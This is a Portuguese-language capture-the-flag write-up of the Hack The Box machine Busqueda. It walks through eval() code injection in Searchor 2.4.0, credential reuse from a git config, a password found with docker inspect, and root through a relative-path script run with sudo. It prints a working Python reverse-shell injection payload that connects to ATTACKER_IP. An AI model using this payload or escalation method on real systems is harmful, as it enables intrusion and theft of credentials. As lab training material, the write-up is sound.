Busqueda é uma máquina Linux de dificuldade fácil. Nela é preciso abusar de uma vulnerabilidade de injeção de código na aplicação web para obter acesso como usuário svc, então por reuso de credenciais conseguir certas permissões para executar códigos como root.
Com um scan do nmap encontra-se duas portas abertas nessa máquina, 80 de uma aplicação web e 22 de ssh. O servidor http redireciona para o domínio searcher.htb, então precisa-se adicioná-lo ao arquivo hosts local.
A aplicação web é uma ferramenta de busca, na qual se pode escolher uma engine e escrever o que se quer buscar. E ao clicar em search é retornado uma URL para essa busca na engine escolhida ou é redirecionado para essa URL caso a opção “Auto redirect” esteja selecionada.
No footer da página nos é informado que esta foi desenvolvida utilizando o framework Flask e a biblioteca Searchor na versão 2.4.0.
Ao pesquisar por vulnerabilidades dessa versão do Searchor, encontra-se um report do snyk, que pode ser acessado nesse link. Para fazer a busca é utilizado o método eval() passando como parâmetros as entradas do usuário sem fazer nenhum tipo de sanitização. Dessa forma, é possível a execução de códigos arbitrários no servidor através da entrada de códigos python onde deveria ser inserido uma string que se deseja buscar.
No github do usuário jonnyzar há o seguinte PoC para se obter uma reverse shell por meio dessa vulnerabilidade, POC-Seachor-2.4.2. Para utilizar esse PoC, precisa alterar o “ATTACKER_IP” e “PORT” para o endereço IP e a porta da máquina atacante.
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
Com o uso desse código, eu obtive uma shell como usuário svc. Na home do svc já encontra-se a flag de usuário.
Na pasta da aplicação web, a pasta inicial ao conseguir a reverse shell, há um diretório de git com um arquivo de configurações. Nesse arquivo há um usuário e senha para uma outra aplicação web em um subdomínio do searcher.htb. Para acessá-lo precisamos, também, adicioná-lo ao hosts.
Ao logar com as credenciais encontradas, podemos ver um repositório contendo o código-fonte do site de busca e encontramos um outro usuário, chamado administrator.
Com a mesma senha do cody podemos executar o comando “sudo -l” para ver quais comando o svc pode executar com sudo. Que nesse caso pode executar como root o script de python “system-checkup.py” passando quaisquer parâmetros. Na pasta em que esse script está armazenado também há outros três, todos pertencentes ao root, mas o usuário svc só possui permissão para executar o system-checkup.
O system-checkup tem como forma de uso a escolha de uma ação seguida por possíveis argumentos. Se escolhermos o docker-ps é retornado os dados relacionados aos containers. Com o docker-inspect somos informados que precisa ser passado como argumento um formato e o nome de um container. Já como o full-checkup é retornado uma mensagem de que algo deu errado.
Pesquisando pela documentação do docker inspect dá para ter uma noção de como executar o script. Então passando como argumento de formato ‘{{json .Config}}’ e como nome de container um id, que conseguimos com o docker-ps, obtemos as configurações relacionadas ao container. E nessas configurações há uma senha.
Com essa senha podemos acessar o gitea do usuário administrator. Sendo que este possui um outro repositório, chamado scripts, que contém o código dos scripts que encontramos anteriormente mas não tínhamos a permissão necessária para lê-los.
A ação de full-checkup do “system-checkup.py” que antes retornava uma mensagem de erros tem o seguinte código:
...
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
...
Como pode ser visto, será tentado executar um segundo script chamado “full-checkup.sh” que está na mesma pasta e caso não seja possível retorna o erro que obtivemos. Como o caminho para esse segundo script é relativo, podemos criar um com o mesmo nome em outra pasta com um código arbitrário que será, então, executado como root. Portanto, eu criei o seguinte arquivo no diretório tmp com o nome “full-checkup.sh”.
#!/bin/bash
cat /root/root.txt
Esse código só escreve a flag do root no terminal. Mas poderia ser qualquer outra coisa, como uma reverse shell com privilégios de root. Com isso, obtive a flag de root ao executar o system-checkup com a ação de full-checkup estando na pasta tmp.
